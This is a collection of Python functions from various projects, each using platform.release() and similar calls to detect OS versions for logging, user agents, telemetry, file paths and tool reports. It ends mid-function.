def initializeSnack(newroot): global Tkroot, audio, mixer, script_dir Tkroot = newroot #Tkroot.tk.call('eval', 'package require -exact snack 2.2') if platform.system() == 'Windows': libsnack_path = os.path.join(script_dir, 'windows', 'libsnack.dll').replace('\\', '\\\\') libsound_path = os.path.join(script_dir, 'windows', 'libsound.dll').replace('\\', '\\\\') snack_path= os.path.join(script_dir, 'windows', 'snack.tcl').replace('\\', '\\\\') elif platform.system() == 'Darwin': if int(platform.release().split('.')[0]) < 10: libsnack_path = os.path.join(script_dir, 'mac/10.5', 'libsnack.dylib') libsound_path = os.path.join(script_dir, 'mac/10.5', 'libsound.dylib') snack_path= os.path.join(script_dir, 'mac/10.5', 'snack.tcl') elif int(platform.release().split('.')[0]) >= 10: libsnack_path = os.path.join(script_dir, 'mac/10.8', 'libsnack.dylib') libsound_path = os.path.join(script_dir, 'mac/10.8', 'libsound.dylib') snack_path= os.path.join(script_dir, 'mac/10.8', 'snack.tcl') libsnack_path = libsnack_path.replace(' ', r'\ ') snack_path = snack_path.replace(' ', r'\ ') libsound_path = libsound_path.replace(' ', r'\ ') Tkroot.tk.call('eval', 'load ' + libsnack_path + '; source ' + snack_path) Tkroot.tk.call('eval', 'load ' + libsound_path) Tkroot.tk.call('snack::createIcons') #Tkroot.tk.call('snack::setUseOldObjAPI') audio = AudioControllerSingleton() mixer = MixerControllerSingleton()
def info(): jsondata = '"os":{' jsondata += '"system":"' jsondata += platform.system() jsondata += '","network-name":"' jsondata += platform.node() jsondata += '","release":"' jsondata += platform.release() jsondata += '","version":"' jsondata += platform.version() jsondata += '","arch":"' jsondata += platform.machine() jsondata += '","boot-time":' jsondata += str(psutil.boot_time()) jsondata += ',' jsondata += usersInfo() os = platform.system() rl = platform.release() vs = platform.version() mh = platform.machine() un = platform.uname() nd = platform.node() jsondata += '}' return jsondata
def update(self): """Update the host/system info using the input method. Return the stats (dict) """ # Reset stats self.reset() if self.get_input() == 'local': # Update stats using the standard system lib self.stats['os_name'] = platform.system() self.stats['hostname'] = platform.node() self.stats['platform'] = platform.architecture()[0] is_archlinux = os.path.exists(os.path.join("/", "etc", "arch-release")) if self.stats['os_name'] == "Linux": if is_archlinux: self.stats['linux_distro'] = "Arch Linux" else: linux_distro = platform.linux_distribution() self.stats['linux_distro'] = ' '.join(linux_distro[:2]) self.stats['os_version'] = platform.release() elif self.stats['os_name'] == "FreeBSD": self.stats['os_version'] = platform.release() elif self.stats['os_name'] == "Darwin": self.stats['os_version'] = platform.mac_ver()[0] elif self.stats['os_name'] == "Windows": os_version = platform.win32_ver() self.stats['os_version'] = ' '.join(os_version[::2]) else: self.stats['os_version'] = "" elif self.get_input() == 'snmp': # Update stats using SNMP self.stats = self.set_stats_snmp(snmp_oid=snmp_oid) return self.stats
def findLibraries(self, firstTry): try: #firstTry is a parameter used to determine whether this function is being called from MainPage.__init__ or from selectDBFile (used when database is not found in default location) if(firstTry): #Determines OS to determine which default location to look in; only supports Windows as of now user = getpass.getuser() if(platform.system() == "Windows"): if(platform.release() == ("XP" or "Server 2003" or "Home Server")): self.dbFile = "C:\\Documents and Settings\\%s\\Local Settings\\Application Data\\Plex Media Server\\Plug-In Support\\Databases\\com.plexapp.plugins.library.db" % user elif(platform.release() == ("7" or isVista())): localAppData = os.environ['LOCALAPPDATA'] self.dbFile = "%s\\Plex Media Server\\Plug-In Support\\Databases\\com.plexapp.plugins.library.db" % localAppData #This variable is used later by createBackup and retrieveBackup self.dbDir = self.dbFile.replace("\\com.plexapp.plugins.library.db", "") #Connects to database, looks in the table that holds information about the library sections, and returns an array of the names of the library sections db = sqlite3.connect(self.dbFile) cursor = db.cursor() cursor.execute('''SELECT name FROM library_sections''') rows = cursor.fetchall() sections = [] for row in rows: sections.append(row[0]) cursor.close() db.close() return sections #Exception for when no database is found except sqlite3.OperationalError: #This will ultimately return an array of the names of the library sections from the database the user defines; see lines 144-145 return self.noDatabaseAlert()
def capture(): """ Capture current OS information """ result = OSInfo() result.family = OSInfo.family() if result.family == "windows": # i.e: subfamily = '7', version = "6.66612" result.subfamily = platform.release() result.version = Version(platform.version()) elif result.family == "linux": result.subfamily = platform.linux_distribution()[0] result.version = Version(platform.linux_distribution()[1]) elif result.family == "macos": result.subfamily = None result.version = Version(platform.mac_ver()[0]) elif result.family == "java": result.subfamily = " ".join(platform.java_ver()[2]) result.version = Version(platform.release()) else: result.subfamily = None # Default value is none in ToolInfo result.version = Version() # Default value is Version() in ToolInfo result.arch = OSInfo.architecture() return result
def _init_host(self): self.host = {} self.host['os_name'] = platform.system() self.host['hostname'] = platform.node() # More precise but not user friendly #~ if platform.uname()[4]: #~ self.host['platform'] = platform.uname()[4] #~ else: #~ self.host['platform'] = platform.architecture()[0] # This one is better self.host['platform'] = platform.architecture()[0] is_archlinux = os.path.exists(os.path.join("/", "etc", "arch-release")) if self.host['os_name'] == "Linux": if is_archlinux: self.host['linux_distro'] = "Arch Linux" else: linux_distro = platform.linux_distribution() self.host['linux_distro'] = " ".join(linux_distro[:2]) self.host['os_version'] = platform.release() elif self.host['os_name'] == "FreeBSD": self.host['os_version'] = platform.release() elif self.host['os_name'] == "Darwin": self.host['os_version'] = platform.mac_ver()[0] elif self.host['os_name'] == "Windows": os_version = platform.win32_ver() self.host['os_version'] = " ".join(os_version[::2]) else: self.host['os_version'] = ""
def log_system_info(self): """Prints system information to the log. Code adapted from the SunPy project.""" # EVE version from eve import __version__ as eve_version logging.info("Starting EVE %s" % eve_version) # Time now = datetime.datetime.utcnow().strftime("%A, %d. %B %Y %I:%M%p UT") logging.info("Time: %s" % now) # Platform system = platform.system() processor = platform.processor() if system == "Linux": distro = " ".join(platform.linux_distribution()) logging.debug("OS: %s (Linux %s %s)" % ( distro, platform.release(), processor)) elif system == "Darwin": logging.debug("OS: Mac OS X %s (%s)" % ( platform.mac_ver()[0], processor) ) elif system == "Windows": logging.debug("OS: Windows %s %s (%s)" % ( platform.release(), platform.version(), processor)) else: logging.debug ("Unknown OS (%s)" % processor) # Architecture logging.debug('Architecture: %s' % platform.architecture()[0]) # Python version logging.debug("Python %s" % platform.python_version()) # Check python dependencies try: from numpy import __version__ as numpy_version except ImportError: numpy_version = "NOT INSTALLED" try: from scipy import __version__ as scipy_version except ImportError: scipy_version = "NOT INSTALLED" try: from sklearn import __version__ as sklearn_version except ImportError: sklearn_version = "NOT INSTALLED" try: from yaml import __version__ as yaml_version except ImportError: yaml_version = "NOT INSTALLED" logging.debug("NumPy: %s" % numpy_version) logging.debug("SciPy: %s" % scipy_version) logging.debug("Scikit-Learn: %s" % sklearn_version) logging.debug("PyYAML: %s" % yaml_version)
def sendUsageStats(app=None): """Sends anonymous, very basic usage stats to psychopy server: the version of PsychoPy the system used (platform and version) the date """ v = psychopy.__version__ dateNow = time.strftime("%Y-%m-%d_%H:%M") miscInfo = '' # get platform-specific info if sys.platform == 'darwin': OSXver, junk, architecture = platform.mac_ver() systemInfo = "OSX_%s_%s" % (OSXver, architecture) elif sys.platform.startswith('linux'): systemInfo = '%s_%s_%s' % ( 'Linux', ':'.join([x for x in platform.dist() if x != '']), platform.release()) if len(systemInfo) > 30: # if it's too long PHP/SQL fails to store!? systemInfo = systemInfo[0:30] elif sys.platform == 'win32': systemInfo = "win32_v" + platform.version() else: systemInfo = platform.system() + platform.release() u = "http://www.psychopy.org/usage.php?date=%s&sys=%s&version=%s&misc=%s" URL = u % (dateNow, systemInfo, v, miscInfo) try: page = requests.get(URL, proxies=web.proxies) # proxies except Exception: logging.warning("Couldn't connect to psychopy.org\n" "Check internet settings (and proxy " "setting in PsychoPy Preferences.")
def sendmessage(self,message): import platform import os Mac = "Darwin" Windows = "Windows" Linux = "Linux" try: if platform.system() == Mac: #Snow Leopard detected if platform.release() == "10.8.0": self.netgrowlnotification(message) #Lion 10.7+ detected elif platform.release() >= "10.8.0": self.gntpnotification(message) #below snow leopard deteced else: self.netgrowlnotification(message) elif platform.system() == Windows: self.gntpnotification(message) elif platform.system() == Linux: self.gntpnotification(message) except Exception as e: print e
def __init__(self, debug, parent=None): #super(Ui_clickdial, self).__init__() self.debug = debug if (self.debug): print os.name print os.environ.get("HOME") homedir = os.path.expanduser('~') if (platform.system() == "Linux"): if (self.debug): print "Linux" self.confdir = homedir + "/.clickdial" if (platform.system() == "Windows"): if (self.debug): print "Windows" print platform.release() self.confdir = homedir + "/clickdial" if (self.debug): print self.confdir try: os.stat(self.confdir) except: os.mkdir(self.confdir) if (self.debug): print os.getcwd() shutil.copytree(os.getcwd()+ "/pixmaps", self.confdir+"/pixmaps") #if (os.name == "windows"): # import win32com.client #print os.environ.get("XDG_CURRENT_DESKTOP") QtGui.QMainWindow.__init__(self) self.setWindowTitle("ClickDial") self.resize(450, 700) self.setWindowModality(QtCore.Qt.NonModal) self.center() self.setWindowIcon(QtGui.QIcon(self.confdir+"/pixmaps/icon.png")) self.setupUi()
def get_platform_info(): '''return platform information''' host = {} host['os'] = platform.system() host['hostname'] = platform.node() host['platform'] = platform.architecture()[0] is_archlinux = os.path.exists(os.path.join("/", "etc", "arch-release")) if host['os'] == "Linux": if is_archlinux: host['distro'] = "Arch Linux" else: distro = platform.linux_distribution() host['distro'] = " ".join(distro[:2]) host['version'] = platform.release() elif host['os'] == "FreeBSD": host['version'] = platform.release() elif host['os'] == "Darwin": host['version'] = platform.mac_ver()[0] elif host['os'] == "Windows": version = platform.win32_ver() host['version'] = " ".join(version[::2]) else: host['version'] = "" return host
def build_system(self): """ from https://github.com/Dreyer/pyinfo/blob/master/pyinfo.py """ system = { 'path': False, 'os_path': False, 'os_version': False, 'version': False, 'subversion': False, 'prefix': False, 'build_date': platform.python_build()[1], 'executable': False, 'compiler': platform.python_compiler(), 'api_version': False, 'implementation': platform.python_implementation(), 'system': platform.system(), } if platform.dist()[0] != '' and platform.dist()[1] != '': system['os_version'] = '%s %s (%s %s)' % ( platform.system(), platform.release(), platform.dist()[0].capitalize(), platform.dist()[1] ) else: system['os_version'] = '%s %s' % ( platform.system(), platform.release() ) if hasattr( os, 'path' ): system['os_path'] = os.environ['PATH'] if hasattr( sys, 'version' ): system['version'] = platform.python_version() if hasattr( sys, 'subversion' ): system['subversion'] = ', '.join( sys.subversion ) if hasattr( sys, 'prefix' ): system['prefix'] = sys.prefix if hasattr( sys, 'path' ): system['path'] = sys.path if hasattr( sys, 'executable' ): system['executable'] = sys.executable if hasattr( sys, 'api_version' ): system['api'] = sys.api_version self.system = system
def UserAgentFragment(self): """Generates the fragment of the User-Agent that represents the OS. Examples: (Linux 3.2.5-gg1236) (Windows NT 6.1.7601) (Macintosh; PPC Mac OS X 12.4.0) (Macintosh; Intel Mac OS X 12.4.0) Returns: str, The fragment of the User-Agent string. """ # Below, there are examples of the value of platform.uname() per platform. # platform.release() is uname[2], platform.version() is uname[3]. if self.operating_system == OperatingSystem.LINUX: # ('Linux', '<hostname goes here>', '3.2.5-gg1236', # '#1 SMP Tue May 21 02:35:06 PDT 2013', 'x86_64', 'x86_64') return '({name} {version})'.format( name=self.operating_system.name, version=platform.release()) elif self.operating_system == OperatingSystem.WINDOWS: # ('Windows', '<hostname goes here>', '7', '6.1.7601', 'AMD64', # 'Intel64 Family 6 Model 45 Stepping 7, GenuineIntel') return '({name} NT {version})'.format( name=self.operating_system.name, version=platform.version()) elif self.operating_system == OperatingSystem.MACOSX: # ('Darwin', '<hostname goes here>', '12.4.0', # 'Darwin Kernel Version 12.4.0: Wed May 1 17:57:12 PDT 2013; # root:xnu-2050.24.15~1/RELEASE_X86_64', 'x86_64', 'i386') format_string = '(Macintosh; {name} Mac OS X {version})' arch_string = (self.architecture.name if self.architecture == Architecture.ppc else 'Intel') return format_string.format( name=arch_string, version=platform.release()) else: return '()'
def get_dist_info(self): try: if 'FreeBSD' in platform.system(): release = re.sub('\-.*\Z', '', str(platform.release())) return "FreeBSD",release if 'linux_distribution' in dir(platform): distinfo = list(platform.linux_distribution(full_distribution_name=0)) # remove trailing whitespace in distro name if(distinfo[0] == ''): osfile= open("/etc/os-release", "r") for line in osfile: lists=str(line).split("=") if(lists[0]== "NAME"): distroname = lists[1].split("\"") if(lists[0]=="VERSION"): distroversion = lists[1].split("\"") osfile.close() return distroname[1]+"-"+distroversion[1],platform.release() distinfo[0] = distinfo[0].strip() return distinfo[0]+"-"+distinfo[1],platform.release() else: distinfo = platform.dist() return distinfo[0]+"-"+distinfo[1],platform.release() except Exception as e: errMsg = 'Failed to retrieve the distinfo with error: %s, stack trace: %s' % (str(e), traceback.format_exc()) self.log(errMsg) return "Unkonwn","Unkonwn"
def update(self): """Update the host/system info using the input method. Return the stats (dict) """ # Reset stats self.reset() if self.input_method == 'local': # Update stats using the standard system lib self.stats['os_name'] = platform.system() self.stats['hostname'] = platform.node() self.stats['platform'] = platform.architecture()[0] if self.stats['os_name'] == "Linux": linux_distro = platform.linux_distribution() if linux_distro[0] == '': self.stats['linux_distro'] = _linux_os_release() else: self.stats['linux_distro'] = ' '.join(linux_distro[:2]) self.stats['os_version'] = platform.release() elif self.stats['os_name'].endswith('BSD'): self.stats['os_version'] = platform.release() elif self.stats['os_name'] == "Darwin": self.stats['os_version'] = platform.mac_ver()[0] elif self.stats['os_name'] == "Windows": os_version = platform.win32_ver() self.stats['os_version'] = ' '.join(os_version[::2]) # if the python version is 32 bit perhaps the windows operating # system is 64bit if self.stats['platform'] == '32bit' and 'PROCESSOR_ARCHITEW6432' in os.environ: self.stats['platform'] = '64bit' else: self.stats['os_version'] = "" # Add human readable name if self.stats['os_name'] == "Linux": self.stats['hr_name'] = self.stats['linux_distro'] else: self.stats['hr_name'] = '{} {}'.format( self.stats['os_name'], self.stats['os_version']) self.stats['hr_name'] += ' {}'.format(self.stats['platform']) elif self.input_method == 'snmp': # Update stats using SNMP try: self.stats = self.get_stats_snmp( snmp_oid=snmp_oid[self.short_system_name]) except KeyError: self.stats = self.get_stats_snmp(snmp_oid=snmp_oid['default']) # Default behavor: display all the information self.stats['os_name'] = self.stats['system_name'] # Windows OS tips if self.short_system_name == 'windows': for r, v in iteritems(snmp_to_human['windows']): if re.search(r, self.stats['system_name']): self.stats['os_name'] = v break # Add human readable name self.stats['hr_name'] = self.stats['os_name'] return self.stats
def _getPlatformString(dist=None): """If generic==True then returns empty __build_platform__ string """ if dist=='bdist': # get platform-specific info if os.sys.platform == 'darwin': OSXver, _, architecture = platform.mac_ver() systemInfo = "OSX_%s_%s" % (OSXver, architecture) elif os.sys.platform == 'linux': systemInfo = '%s_%s_%s' % ( 'Linux', ':'.join([x for x in platform.dist() if x != '']), platform.release()) elif os.sys.platform == 'win32': ver=os.sys.getwindowsversion() if len(ver[4])>0: systemInfo = "win32_v%i.%i.%i (%s)" %(ver[0], ver[1], ver[2], ver[4]) else: systemInfo = "win32_v%i.%i.%i" % (ver[0], ver[1], ver[2]) else: systemInfo = platform.system() + platform.release() else: systemInfo = "n/a" return systemInfo
def loadpdf(self, combobox): index = combobox.currentIndex() if index != 0: if self.loadpdfjs: pdf = userdir + userprogpath + SEP('pdfs/') + combobox.itemData(0).toString() + SEP('/') + combobox.itemText(index) if os.path.exists(userdir + userprogpath + SEP('web/pdftoload.pdf')): os.remove(userdir + userprogpath + SEP('web/pdftoload.pdf')) if platform.system() == "Windows": if platform.release() == 'XP': pass else: win32file.CreateHardLink(str(userdir + userprogpath + SEP('web/pdftoload.pdf')), str(pdf)) self.webView_2.load(QtCore.QUrl(userdir + userprogpath + SEP('web/viewer.html?file=pdftoload.pdf'))) else: os.link(pdf, userdir + userprogpath + SEP('web/pdftoload.pdf')) self.webView_2.load(QtCore.QUrl(userdir + userprogpath + SEP('web/viewer.html?file=pdftoload.pdf'))) else: html = userdir + userprogpath + SEP('pdfs/') + combobox.itemData(0).toString() + SEP('/dir_') + combobox.itemText(index) + SEP('/index.html') self.getnumofpdfpages(html) self.currenthtmlpath = html self.currentpdfpage = 1 self.label_8.setText(str(self.currentpdfpage)) if platform.system() == "Windows": if platform.release() == 'XP': self.webView_2.load(QtCore.QUrl(html)) else: self.webView_2.load(QtCore.QUrl(html)) else: self.webView_2.load(QtCore.QUrl(html)) for item in self.combolist: shop = item[0] if shop != combobox.itemText(combobox.currentIndex()): item[1].setCurrentIndex(0) self.setWindowTitle('Lankstinukas ' + combobox.itemText(0) + ': ' + combobox.itemText(index))
def _working_pc_version(): if re.search('2003',platform.release()) or re.search('xp',platform.release()) : return '2003 or xp' elif re.search('7',platform.release()) : return 'win7' else : raise ExpectError("no support OS")
def user_agent(): """ Return a string representing the user agent. """ data = { "installer": {"name": "pip", "version": pip.__version__}, "python": platform.python_version(), "implementation": { "name": platform.python_implementation(), }, } if data["implementation"]["name"] == 'CPython': data["implementation"]["version"] = platform.python_version() elif data["implementation"]["name"] == 'PyPy': if sys.pypy_version_info.releaselevel == 'final': pypy_version_info = sys.pypy_version_info[:3] else: pypy_version_info = sys.pypy_version_info data["implementation"]["version"] = ".".join( [str(x) for x in pypy_version_info] ) elif data["implementation"]["name"] == 'Jython': # Complete Guess data["implementation"]["version"] = platform.python_version() elif data["implementation"]["name"] == 'IronPython': # Complete Guess data["implementation"]["version"] = platform.python_version() if sys.platform.startswith("linux"): distro = dict(filter( lambda x: x[1], zip(["name", "version", "id"], platform.linux_distribution()), )) libc = dict(filter( lambda x: x[1], zip(["lib", "version"], platform.libc_ver()), )) if libc: distro["libc"] = libc if distro: data["distro"] = distro if sys.platform.startswith("darwin") and platform.mac_ver()[0]: data["distro"] = {"name": "OS X", "version": platform.mac_ver()[0]} if platform.system(): data.setdefault("system", {})["name"] = platform.system() if platform.release(): data.setdefault("system", {})["release"] = platform.release() if platform.machine(): data["cpu"] = platform.machine() return "{data[installer][name]}/{data[installer][version]} {json}".format( data=data, json=json.dumps(data, separators=(",", ":"), sort_keys=True), )
def get_kernel_version(): if pl.system() == "Darwin": var = pl.release() elif pl.system() == "Linux": var = pl.release() elif pl.system() == "Windows": var = pl.version() return var
def GetDatabases(startingPath): """ Name: GetDatabases Description: Runs through each users directory on a system to pull the SyncData.sqlite3 file Also has the capability to have this search start in a new location This is useful for file exports when keeping folder structure Input: Starting Path, either the starting path or False Actions: Checks the System type and release. Uses Globing to pull each SyncData.sqlite3 file Adds the found database paths to a list and returns the list """ # Creates a blank list databaseList = [] # TODO Allow the examination of a windows export on mac system and vice versa. Done by passing platform as var try: # Checks if the running system is Windows if platform.system() == "Windows": # Checks if the system is 7 or XP if platform.release() == "7": # Checks if there was a starting path provided if startingPath: # Sets the databasePath to the the OS specific path with the starting path defined. databasePath = startingPath + "\\Users\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\SyncData.sqlite3" else: # Sets the databasePath to the the OS specific path. databasePath = "C:\\Users\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\SyncData.sqlite3" elif platform.release() == "XP": if startingPath: # Sets the databasePath to the the OS specific path with the starting path defined. databasePath = startingPath + "\\Documents and Settings\\*\\Application Support\\Google\\Chrome\\User Data\\Default\\Sync Data\\SyncData.sqlite3" else: # Sets the databasePath to the the OS specific path databasePath = "C:\\Documents and Settings\\*\\Application Support\\Google\\Chrome\\User Data\\Default\\Sync Data\\SyncData.sqlite3" elif platform.system() == "Darwin": if startingPath: # Sets the databasePath to the the OS specific path with the starting path defined. databasePath = startingPath +"/Users/*/Library/Application Support/Google/Chrome/Default/Sync Data/SyncData.sqlite3" else: # Sets the databasePath to the the OS specific path databasePath = "/Users/*/Library/Application Support/Google/Chrome/Default/Sync Data/SyncData.sqlite3" else: Report("ERROR: no system detected", 3) return databaseList except Exception as err: Report(str(err),2) # Performs the actual glob search using the previously defined databasePath for file in glob.glob(databasePath): # Adds each found database to the databaseList databaseList.append(SyncFile(file)) # Returns the databaseList return databaseList
def _get_os(self): data = {} if platform.system() == "Linux": if self.docker_client: data["operatingSystem"] = self.docker_client.info().get("OperatingSystem", None) data["kernelVersion"] = platform.release() if len(platform.release()) > 0 else None return data
def platform_information(): """detect platform information from remote host.""" try: file_name = '/proc/self/cgroup' with open(file_name, 'r') as f: lines = f.readlines() for line in lines: if "docker" in line.split(':')[2]: return ('docker', 'docker', 'docker') except Exception as err: logging.debug("platform_information: ", "Error while opening %s : %s" % (file_name, err)) if os.path.isfile('/.dockerenv'): return ('docker', 'docker', 'docker') if platform.system() == 'Linux': linux_distro = platform.linux_distribution( supported_dists=platform._supported_dists + ('alpine', 'arch')) logging.debug('platform_information: linux_distribution = ' + str(linux_distro)) distro, release, codename = linux_distro elif platform.system() == 'FreeBSD': distro = 'freebsd' release = platform.release() codename = platform.version().split(' ')[3].split(':')[0] logging.debug( 'platform_information: release = {}, version = {}'.format( platform.release(), platform.version())) else: raise exc.UnsupportedPlatform(platform.system(), '', '') # this could be an empty string in Debian if not codename and 'debian' in distro.lower(): debian_codenames = { '8': 'jessie', '7': 'wheezy', '6': 'squeeze', } major_version = release.split('.')[0] codename = debian_codenames.get(major_version, '') # In order to support newer jessie/sid or wheezy/sid strings # we test this if sid is buried in the minor, we should use # sid anyway. if not codename and '/' in release: major, minor = release.split('/') if minor == 'sid': codename = minor else: codename = major return ( str(distro).rstrip(), str(release).rstrip(), str(codename).rstrip() )
def system_information(): """ Report system versions. """ def system_version(): """ Return host system version. """ lin_ver = platform.linux_distribution() mac_ver = platform.mac_ver() win_ver = platform.win32_ver() if lin_ver[0]: return " ".join(lin_ver) elif mac_ver[0]: if isinstance(mac_ver[1], (tuple, list)) and "".join(mac_ver[1]): return " ".join([mac_ver[0], ".".join(mac_ver[1]), mac_ver[2]]) else: return " ".join([mac_ver[0], mac_ver[2]]) elif win_ver[0]: return " ".join(win_ver) else: return "" version = system_version() release = platform.release() if platform.win32_ver()[0]: import win32api if (sys.version_info.major == 2 and sys.version_info >= (2, 7, 12)) or ( sys.version_info.major == 3 and sys.version_info >= (3, 5, 2) ): if win32api.GetVersionEx(1)[8] > 1: server = { "Vista": "2008Server", "7": "2008ServerR2", "8": "2012Server", "8.1": "2012ServerR2", "10": "2016Server", } release = server.get(platform.release(), "UNKServer") _, ver, sp, extra = platform.win32_ver() version = " ".join([release, ver, sp, extra]) system = [ ("system", platform.system()), ("dist", " ".join(platform.dist())), ("release", release), ("machine", platform.machine()), ("version", version), ] for name, attr in system: yield name, attr continue
def _capture_usage(config, *args, **kw): func_name = func.__name__[1:] username = config.username user_platform = platform.system() + platform.release() # we can separate between updates version = app_config.TWO1_VERSION try: if config.collect_analytics: func_name = func.__name__[1:] username = config.username user_platform = platform.system() + platform.release() # we can separate between updates version = app_config.TWO1_VERSION username = username or "unknown" data = { "channel": "cli", "level": "info", "username": username, "command": func_name, "platform": user_platform, "version" : version } log_message(data) res = func(config, *args, **kw) return res except ServerRequestError as e: click.echo(str(next(iter(e.data.values()))) + "({})".format(e.status_code)) except ServerConnectionError: click.echo(UxString.Error.connection.format("21 Servers")) # don't log UnloggedExceptions except UnloggedException: return except click.ClickException: raise except Exception as e: is_debug = str2bool(os.environ.get("TWO1_DEBUG", False)) tb = traceback.format_exc() if config.collect_analytics: data = { "channel": "cli", "level": "error", "username": username, "command": func_name, "platform": user_platform, "version": version, "exception": tb} log_message(data) click.echo(UxString.Error.server_err) if is_debug: raise e
def __working_host_system(): if platform.system() == 'Linux' : return {'Linux':None} elif platform.system() == 'Windows' : if re.search('2003',platform.release()) or re.search('xp',platform.release()) : return {'Windows':6} elif re.search('7',platform.release()) or re.search('10',platform.release()) : return {'Windows':7} else : raise ExpectError("no support OS")
def system_information(): ''' Report system versions. ''' def system_version(): ''' Return host system version. ''' lin_ver = platform.linux_distribution() mac_ver = platform.mac_ver() win_ver = platform.win32_ver() if lin_ver[0]: return ' '.join(lin_ver) elif mac_ver[0]: if isinstance(mac_ver[1], (tuple, list)) and ''.join(mac_ver[1]): return ' '.join([mac_ver[0], '.'.join(mac_ver[1]), mac_ver[2]]) else: return ' '.join([mac_ver[0], mac_ver[2]]) elif win_ver[0]: return ' '.join(win_ver) else: return '' version = system_version() release = platform.release() if platform.win32_ver()[0]: import win32api if ((sys.version_info.major == 2 and sys.version_info >= (2, 7, 12)) or (sys.version_info.major == 3 and sys.version_info >= (3, 5, 2))): if win32api.GetVersionEx(1)[8] > 1: server = { 'Vista': '2008Server', '7': '2008ServerR2', '8': '2012Server', '8.1': '2012ServerR2', '10': '2016Server' } release = server.get(platform.release(), 'UNKServer') _, ver, sp, extra = platform.win32_ver() version = ' '.join([release, ver, sp, extra]) system = [ ('system', platform.system()), ('dist', ' '.join(platform.dist())), ('release', release), ('machine', platform.machine()), ('version', version), ] for name, attr in system: yield name, attr continue
def get_platform(): if sys.platform == "win32": if platform.release() == "Vista": wd_platform = "VISTA" elif platform.release() == "XP": #? wd_platform = "XP" else: wd_platform = "WINDOWS" else: wd_platform = "WINDOWS" return wd_platform
def system_info(): """ Takes dictionary from sys_info() and prints the contents in an attractive fashion """ sys_prop = get_sys_dict() # title print("==========================================================") print(" SunPy Installation Information\n") print("==========================================================\n") # general properties print("###########") print(" General") print("###########") # OS and architecture information for sys_info in ['Time', 'System', 'Processor', 'Arch', 'SunPy', 'SunPy_git']: print '%s : %s' % (sys_info, sys_prop[sys_info]) if sys_prop['System'] == "Linux": distro = " ".join(platform.linux_distribution()) print("OS: %s (Linux %s %s)" % (distro, platform.release(), sys_prop['Processor'])) elif sys_prop['System'] == "Darwin": print("OS: Mac OS X %s (%s)" % (platform.mac_ver()[0], sys_prop['Processor'])) elif sys_prop['System'] == "Windows": print("OS: Windows %s %s (%s)" % (platform.release(), platform.version(), sys_prop['Processor'])) else: print ("Unknown OS (%s)" % sys_prop['Processor']) print "\n" # required libraries print("###########") print(" Required Libraries ") print("###########") for sys_info in ['Python', 'NumPy', 'SciPy', 'matplotlib', 'Astropy', 'Pandas']: print '%s: %s' % (sys_info, sys_prop[sys_info]) print "\n" # recommended print("###########") print(" Recommended Libraries ") print("###########") for sys_info in ['beautifulsoup', 'PyQt', 'SUDS', 'Sqlalchemy', 'Requests']: print '%s: %s' % (sys_info, sys_prop[sys_info])
def _get_os(self): data = {} if platform.system() == 'Linux': info = platform.linux_distribution() keys = ["distribution", "version", "versionDescription"] data = self._zip_fields_values(keys, info) data['kernelVersion'] = \ platform.release() if len(platform.release()) > 0 else None return data
def test_system_alias(self): res = platform.system_alias( platform.system(), platform.release(), platform.version(), )
def getKernelVersion(self): kernel_release = platform.release() return kernel_release.split('-', 1)[0]
if PY3: long = int # If some provider has an issue with functionality of Medusa, other than user # agents, it's best to come talk to us rather than block. It is no different # than us going to a provider if we have questions or issues. # Be a team player here. This is disabled, and was only added for testing, # it has no config.ini or web ui setting. # To enable, set SPOOF_USER_AGENT = True SPOOF_USER_AGENT = False INSTANCE_ID = str(uuid.uuid1()) VERSION = '0.1.17' USER_AGENT = u'Medusa/{version} ({system}; {release}; {instance})'.format( version=VERSION, system=platform.system(), release=platform.release(), instance=INSTANCE_ID) ua_settings.DB = path.abspath( path.join(path.dirname(__file__), '../lib/fake_useragent/ua.json')) UA_POOL = UserAgent() if SPOOF_USER_AGENT: USER_AGENT = UA_POOL.random cpu_presets = {'HIGH': 5, 'NORMAL': 2, 'LOW': 1, 'DISABLED': 0} privacy_levels = { 'absurd': 9002, 'stupid': 9001, # it's over 9000! 'max': 9000, 'high': 30, 'normal': 20,
def get_kernel_major_version(): rel = platform.release() rel_list = rel.split(".") return rel_list.pop(0) + "." + rel_list.pop(0)
def project_proofobligation_export_scarf(capp, outputFile, includeSafeProofObligations): # make a directory to hold all the output files # name it after the project directory (we're in semantics/ktadvance at this point) odir = capp.path for i in range(0, 2): odir = os.path.split(odir)[0] odir = os.path.basename(odir) if not os.path.exists(odir): os.makedirs(odir) ppos = capp.get_ppos() spos = capp.get_spos() sw = ScarfXmlWriter(outputFile, 2, False) initialData = \ { "assess_fw": "N/A", "assess_fw_version": "N/A", "assessment_start_ts": time.time(), "build_fw": "N/A", "build_fw_version": "N/A", "build_root_dir": capp.path[:capp.path.index("semantics")], "package_name": odir, "package_version": "N/A", "package_root_dir": capp.path[:capp.path.index("semantics")], "parser_fw": "KTAdvance SCARF Writer", "parser_fw_version": "0.5", "platform_name": platform.system() + "_" + platform.release(), "tool_name": "KTAdvance", "tool_version": "0.5", "uuid": uuid.uuid4() } errors = sw.CheckStart(initialData) if errors: for error in errors: print error return sw.AddStartTag(initialData) for po in ppos + spos: if includeSafeProofObligations or po.status != 'safe': cweId = [] tag = po.potype.get_predicate().get_tag() if tag == 'not-null': cweId.append('476') #elif tag == 'null': # cweId.append('?') elif tag == 'valid-mem': cweId.append('825') #elif tag == 'global-mem': # cweId.append('?') elif tag == 'allocation-base': cweId.append('822') #elif tag == 'type-at-offset': # cweId.append('?') elif tag == 'lower-bound': cweId.append('823') elif tag == 'upper-bound': cweId.append('823') elif tag == 'index-lower-bound': cweId.append('125') elif tag == 'index-upper-bound': cweId.append('125') elif tag == 'initialized': cweId.append('665') elif tag == 'initialized-range': cweId.append('131') elif tag == 'cast': cweId.append('704') elif tag == 'pointer-cast': cweId.append('704') elif tag == 'signed-to-unsigned-cast': cweId.append('195') elif tag == 'unsigned-to-signed-cast': cweId.append('196') elif tag == 'not-zero': cweId.append('369') elif tag == 'null-terminated': cweId.append('170') #elif tag == 'non-negative': # cweId.append('?') elif tag == 'int-underflow': cweId.append('191') elif tag == 'int-overflow': cweId.append('190') #elif tag == 'width-overflow': # cweId.append('?') elif tag == 'ptr-lower-bound': cweId.append('786') elif tag == 'ptr-upper-bound': cweId.append('788') elif tag == 'ptr-upper-bound-deref': cweId.append('788') #elif tag == 'common-base': # cweId.append('?') #elif tag == 'common-base-type': # cweId.append('?') elif tag == 'format-string': cweId.append('133') #elif tag == 'no-overlap': # cweId.append('?') #elif tag 